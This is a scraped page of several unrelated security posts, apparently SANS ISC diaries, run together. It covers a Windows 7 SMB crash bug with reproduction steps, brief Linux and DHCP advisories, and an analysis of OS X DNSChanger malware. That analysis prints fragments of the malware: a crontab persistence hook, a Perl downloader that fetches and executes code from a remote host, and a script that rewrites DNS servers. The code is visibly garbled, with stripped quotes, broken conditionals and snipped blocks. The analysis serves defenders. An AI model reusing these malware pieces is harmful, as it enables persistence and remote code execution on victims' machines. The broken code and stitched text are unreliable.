The Glider

Mikael wrote us yesterday, telling us about a site claiming to have a zero day for SMBon both Windows 7 and Windows Server 2008 R2. Thanks for the pointer Mikael, Laurent Gaffi is the original author of this bit of code.
However, after a first try, we found that the code didn't run as posted. Nothing major, one required line of code was missing, and some formatting issues. Given what this code does, these omissions might have been intentional, to give Microsoft a chance to get a fix in before this disseminates. The code does in fact work. The sequence to see the exploit is:
1/ On a linux machine, ensure that port 445 is open or that your firewall is down - ensure that the target windows host and the linux host have connectivity (a quick ping does the trick here)
2/ On that linux box, run the resulting code - sudo python w7spolit.py . Note that you need sudo to open a tcp service, and we're using a linux box for this because of course port 445 is taken on most windows hosts.
3/ On the target Windows box, do a net use x.x.x.x, where x.x.x.x is the ip address of the linux box.
You'll see that the Windows host is now frozen - no mouse, no keyboard, and completely unresponsive on the network as well. This works on both Windows 7 and Windows Server 2008 R2, with the very latest patches applied. A link to a server running this code could easily be embedded in a web page or email, pointing out to a poisonhost on the internet - so this exploit is not isolated to corporate networks doing file sharing. As the author states, disabling SMBv2 does not give even temporary protection. Here's hoping Microsoft scrambles the troops to get this patched before it's out in the wild.
==========================================================================================================================
Since the original post, there's been a lot of QA back and forth, and also some mis-information floating around as well, I'm hoping that the QA below helps clarify things:



Is the original Windows 2008 affected by this?

No - the only 2 affected operating systems are Windows 7 and Windows 2008 R2



What patch levels have been tested? Is this a problem in one patch or another?

We've only tested the 2 affected operating systems, fully patched as of 12 Nov 2009.



If I disable SMBv2, I'm not affected right?

Wrong. This affects hosts whatever version of SMB they are running. We've tested hosts with SMBv2 disabled with both the registry method and the sc method (singly and in combination), and all are equally affected.



How does this thing spread?

It has no mechanism for propagation. Unless somebody embeds this in a worm, this is more of a curiosity than anything else. This vulnerability in itself does not have the potential to steal information or compromise system integrity. It crashes hosts, plain and simple.



Is IPv6 affected? Is this an IPv6 problem?

This is an SMB issue (tcp/445). All testing so far has been on IPv4, we haven't tested IPv6 specifically, but there's no reason to think that running SMB over IPv6 would behave any differently



What about the firewall on windows? Does that help?

Remember that this works by you browsing to a UNC on a poison host. The windows firewall has no affect on this



How can I mitigate against this in Windows? Is there a registry key or a patch I can apply?

At this time, there is no host based mitigation available. We're hoping that Microsoft comes out with a patch for this quickly. Your best protection is the same safe computing advice that we'd give any other day:

Don't browse from your servers. Ever.
Don't browse indiscriminately from your workstation (don't click links from strangers).
Don't browse to UNC's that aren't under your control (i.e. on the public internet). Ever.



Can I protect myself in any way?

YES. Your best protection in a corporation is an egress filter on your firewall. This has been a long-standing recommendation, and not just from SANS. There is no reason you should browse to Microsoft file sharing ports on the internet, so blocking this activity outbound on a corporate firewall is a great way to knock this problem on the head, at least as far as your corporation is concerned. Egress filters are also a wonderful way to stop the propagation (both inbound and outbound) of other malware. There are a number of papers in the SANS Reading Room ( http://www.sans.org/reading_room/ ) that deal with this subject if you want more info.



Why haven't you post a link to the original code?

As a policy, ISC simply can't post links to zero day code. We need to report this as an important story, getting the word out to prevent the spread of FUD is key in situations like this. However, pointing to the author's blog just wouldn't be responsible. If you'd like to try this code out yourself, most search engines should be able to help you with that.





Finally, remember again that this is not like the vulnerabilities that have recently seen widespread adoption by malware. This vulnerability does not infectWindows, it simply crashes the host. Crashing hosts is not good business for criminals - remember, they write their malware to make money, and crashing your victim's host does not make any money most days. Also, it requires action by someone on the target host - they need to browse to a UNC resource on the attacker's poison host. While this vulnerability is a serious issue, I can't see a good reason for malware authors to include it in their suite. I don't expect that we'll see widespread use of this in the wild (except on security blogs of course ...)

The Internet Systems Consortium released patches to their dhcp implementation.
The patches fix a stack overflow in dhclient (the dhcp client) CVE-2009-0692.
Expect a large number of unix and linux distributions as well as third party solutions using dhcp to need an update in the coming days. US-CERT tracks vendors in their VU #410676.
--

Swa Frantzen -- Section 66

A vulnerability has been reported in the Linux Kernel, which can be exploited by malicious, local users to cause a DoS (Denial of Service).

http://secunia.com/Advisories/32913/

NOTE: This RSS feed does not include information about updated Secunia advisories. You should note that Secunia on average issues more than 20 updated advisories per day, containing information about exploit and patch availability, new and in depth research, and all other details that are relevant. Learn more about receiving complete and customised Secunia advisory information:
http://secunia.com/advisories/business_solutions/

Well, I just have one Ubuntu running (my other linux are pure Debian and fedora), but I think that this set of updates from Ubuntu deserves attention from all users... Those are Kernel vulnerabilities, in a range of Local and Remote DoS to privilege escalation. So, my advice is to check if you can apply the updates right now, otherwise, try to apply as soon as possible. --------------------------------------------- HOD: Pedro Bueno ( pbueno //// isc. sans. org)

Linux Kernel SCTP Protocol Violation Remote Denial of Service Vulnerability

Linux Kernel i915 Driver 'drivers/char/drm/i915_dma.c' Memory Corruption Vulnerability

Well it looks like my first day on duty I have the pleasure of sharing the latest and greatest in OS X DNS hijacking script. For those long time readers of ISC this topic may sound somewhat familiar, that is because this subject has been covered twice before in some detail. Since this entry is on the long side of things, I will very quickly cover the important part for readers who DO NOT have the time to read all of this. Quick and dirty: OS X based malware that requires user interaction to install (e.g. user putting in username/password) Consists of various stages of uuencoded shell script and perl to create a crontab entry named AdobeFlash (this will most likely change) that will execute every 5 min. End effect is a cronjob that downloads and executes as system what ever is passed down to it. This currently is a payload that swaps DNS servers on a victim machine. Current sample uses DNS servers in the following ip range (UkrTeleGroup) 85.255.112.0/20 Things to note: The attackers now have a much more structured and formalized CC mechanism that allows them to download and execute CODE. The infrastructure and code used in this sample can be easily modified and updated, this means the detection mechanisms discussed below may become useless in a short period of time. How to detect infections: Snort Signature: http://www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/CURRENT_EVENTS/CURRENT_Mac_DNSChanger OS X command: /usr/sbin/scutil --dns | grep nameserver This will spit out your DNS name server settings, if these point to any ip OTHER THAN what it should be you are most likely infected. (for now this IP range is 85.255.112.0 - 85.255.127.255, this of course may change over time) Previous entries on this topic: Part One: http://isc.sans.org/diary.html?storyid=3595 Part Two: http://isc.sans.org/diary.html?date=2008-04-30 Now on to the fun part, what makes this new version so interesting? Several things, including changes in the structure and code, as well as a more robust mechnism for controlling infections. That and well I decided that it would be interesting to try and do the analysis on platform that wasnt vulnerable to this strain of malware. WINDOWS! Now that I have enjoyed the moment of complete irony lets move on to the nitty gritty. This diary entry is more for fun then anything else, with that in mind what we go over here can easily be done in OS X or linux if you know what you are doing. For the casual malware analyst windows or linux would be the safest platform to play with. (as I pointed out earlier windows is actually the safest based on the sample I found) Some background: The below are a couple of blog postings that cover the malware I am going to go over today. They give a good amount of detail for those who would rather watch from the sidelines. Major thanks to Methusela Cebrian Ferrer and Jose Nazario for producing such great postings on their blogs. http://community.ca.com/blogs/securityadvisor/archive/2008/11/23/new-trojans-strike-os-x.aspx http://asert.arbornetworks.com/2008/11/new-os-x-malcode-not-just-a-dnschanger/ The fun part: Tools used (feel free to substitute) 7zip www.7zip.org UUDECODE from http://www.bastet.com/uue.zip (Source included, ALWAYS CHECK SOURCE) Transmac Trial (30 day) http://www.asy.com/scrtm.htm Python 2.6 for windows http://www.python.org/ftp/python/2.6/python-2.6.msi Once you have found the sample that you want to work with and have it on your windows VM you can open up the .dmg file using transmac. There are several ways to extract the contents of the DMG file, I obviously have chosen to use transmac but you may use other tools that convert the dmg into an .iso file. From there you can either mount the iso directly into your VM by copying it to your host or you can use some other tool. Once you have access to the contents of the DMG file you can take a look at the preinstall script. fi tail -35 $0 | uudecode -o /dev/stdout | sed 's/applemac/AdobeFlash/' | sed 's/bsd/7000/' | sed 's/gnu/'$type'/' `uname -p` sh `uname -p` rm `uname -p` 5M86,BG!A=@](B],:6)R87)Y+TEN=F5T(%!L=6M **REMOVED CONTENTS** *,$@JF`*96YD@`` ` end As you can see from the above the preinstall (and postinstall) scripts are simply shell scripts. This will make it rather easy for us to analyze what it will try to do when it is executed. Now that we have looked at the preinstall script (which as bojan discussed in his previous diary entries on the topic is executed first), we need to decode the mess of text at the bottom of the file. Since we downloaded UUDECODE.exe from the site above, we have the ability to UUDECODE in windows at a command line, all we need to do is save off a copy of the file that contains only the uuencoded data. This can be done by mimicing what the shell script does by simply removing the first two lines of text in the preinstall script (this may vary based on samples).5M86,BG!A=@](B],:6)R87)Y+TEN=F5T(%!L=6M M26YS(@IE'QGF5P(((D97AI MW0B(#T]((B(%T[('1H96X*(`@(5C:\@(BH@*B\U(H@*B`J(%PB)'!A *****SNIPPED CONTENTS***** MDTI)C%!/28D3DF+5`[5RQ,*2522Y02(D!$ M*B(V+4@[-EU$*-@5RTS-$P*32@B,48Z-E%%+E!(*3Q715,])C5-*B(Q1CHV M444J,TPJ(C!(0@B8$`H(F!`*(Q0SPF75,J4U1$-U-,*@HI*)@0@G5H_ *,$@JF`*96YD@`` ` end Once you have saved the file as editing you can jump into a command shell and simply execute UUDECODE.exe withlove.uue. This will then spit out a decoded file with the name withlove. We can now take a look at the withlove file to see what it does. It should be noted that based on the preinstall script above, that the contents of the withlove file would have been modified by sed. So you can simply manually modify the regular expression statements that sed was using. (change applemac to be AdobeFlash, and change bsd to 7000, etc) With this sample there really is no need to change these parameters, but with future samples this may become critical to maintain state from the attackers perspective. EVIL=applemac path=/Library/Internet Plug-Ins exist=`crontab -l|grep $EVIL` if [ $exist == then echo * */5 * * * \$path/$EVIL\ 1/dev/null 21 cron.inst crontab cron.inst rm cron.inst fi tail -21 $0 | uudecode -o /dev/stdout | sed 's/7777/bsd/' | sed 's/typeofrun/gnu/' | perl B]P97)LG5S92!)3SHZ4V]C:V5T.PIM2`D:7`](CDT+C$P **** SNIPPED CONTENTS ***** )(`@('T*?0H* ` end So what this file does is create a cronjob that runs every five minutes that executes a perl script named AdobeFlash located in /Library/Internet Plug-Ins (remember those sed regular expressions!). Using the steps we used above to save and uudecode the encoded text we can take a look at the contents of jah that is at the bottom of the withlove my $ip=XXX.XXX.XXX.XXX,$answer= sub trim($) { } my $socket=IO::Socket::INET-new(PeerAddr=$ip,PeerPort=80,Proto=tcp print $socket GET /cgi-bin/generator.pl HTTP/1.0\r\nUser-Agent: \r\n\r\n while($socket my $data=substr($answer,index($answer,\r\n\r\n if($answer=~/Time: (.*)\r\n/) { foreach(@pos) { my $file=/tmp/ open(FILE, } } Well what we have here is basically a perl based download a file from here with this User-Agent string, and then execute the results script. So lets take a quick look at the perl script. (I AM NOT A PERL GURU!!!) From a mitigation/alerting side the more interesting parts are the URL/Host/User-Agent (I have modified the User-agent code so it WILL NOT WORK AS IS!) combination that is used to pull down code and execute it. From a forensic's point of view it is interesting to note that the default location for the file to be downloaded to is /tmp/. So being a bit curious I wanted to see what the script was pulling down and executing, but since I was working on windows I needed to either have perl (and modify the above script a bit), or I would have to bust out my trusty pal python and write my own script to pull down the file.') data = opener.open(request).read() outFile.write(data) print Wrote file %s % outfilename exit So once we have the above python code in a file we can execute it via python.exe like follows. C:\Python26python C:\Documents and Settings\**SNIPPED CONTENT**\Desktop\macmalware\ripper.py outfile.txt Wrote file outfile.txt We can now take a look at outfile.txt to see what is being pulled down and executed. so a quick more outfile.txt produces the following results #!/bin/sh tail -11 $0 | uudecode -o /dev/stdout | sed 's/TEERTS/'`echo ml.pll.oop.vl | tr iopjklbnmv 0123456789`'/' | sed 's/CIGAM/'`echo ml.pll.oop.pin | tr iopjklbnmv 0123456789`'/'| sh rm $0 exit begin 777 mac M(R$O8FEN+W-HG!A=@](B],:6)R87)Y+TEN=F5T(%!L=6M26YS(@H* **SNIPPED CONTENTS** 14TE$+T1.4PIQ=6ETD5/1@H` ` end Well it looks like we are back in familiar territory (did you read those two previous diary entries?) as far as using tr. Lets decode the contents of mac that is appended to the bottom of the file we pulled down. (again using the UUDECODE.exe) Contents of mac #!/bin/sh path=/Library/Internet Plug-Ins VX1=TEERTS VX2=CIGAM PSID=$( (/usr/sbin/scutil | grep PrimaryService | sed -e 's/.*PrimaryService : //') EOF open get State:/Network/Global/IPv4 d.show quit EOF ) /usr/sbin/scutil EOF open d.init d.add ServerAddresses * $VX1 $VX2 set State:/Network/Service/$PSID/DNS quit EOF Well low and behold it would appear that this entire process of various UUENCODED blobs of text all lead to this. We have a DNS changer that uses scutil's cli interface to modify a OSX machines dns entries. Please do take note that TEERTS and CIGAM would be replaced with the results of the tr commands in the shell script that we pulled down. (outfile.txt) The values of VX1 and VX2 in THIS SAMPLE would be VX1=85.255.112.95 VX2=85.255.112.207, now takes these DNS servers with a grain of salt, as it is EXTREMELY EASY for the attackers to change these values. They have done this at least 3 times in the last 24 hours, so it may be wise to simply block DNS traffic to 85.255.112.0 - 85.255.127.255 which is the netblock owned an operated by UkrTeleGroup. (The hot new freshness in bad juju) I would also like to thank reader Steve Lyst for pointing this out and sharing his experience when I was working on this diary entry.

CVEs: CVE: CVE-2008-5025

Platform: Linux

CVEs: CVE: Not Available

Platform: Linux

CVEs: CVE: Not Available

Platform: Linux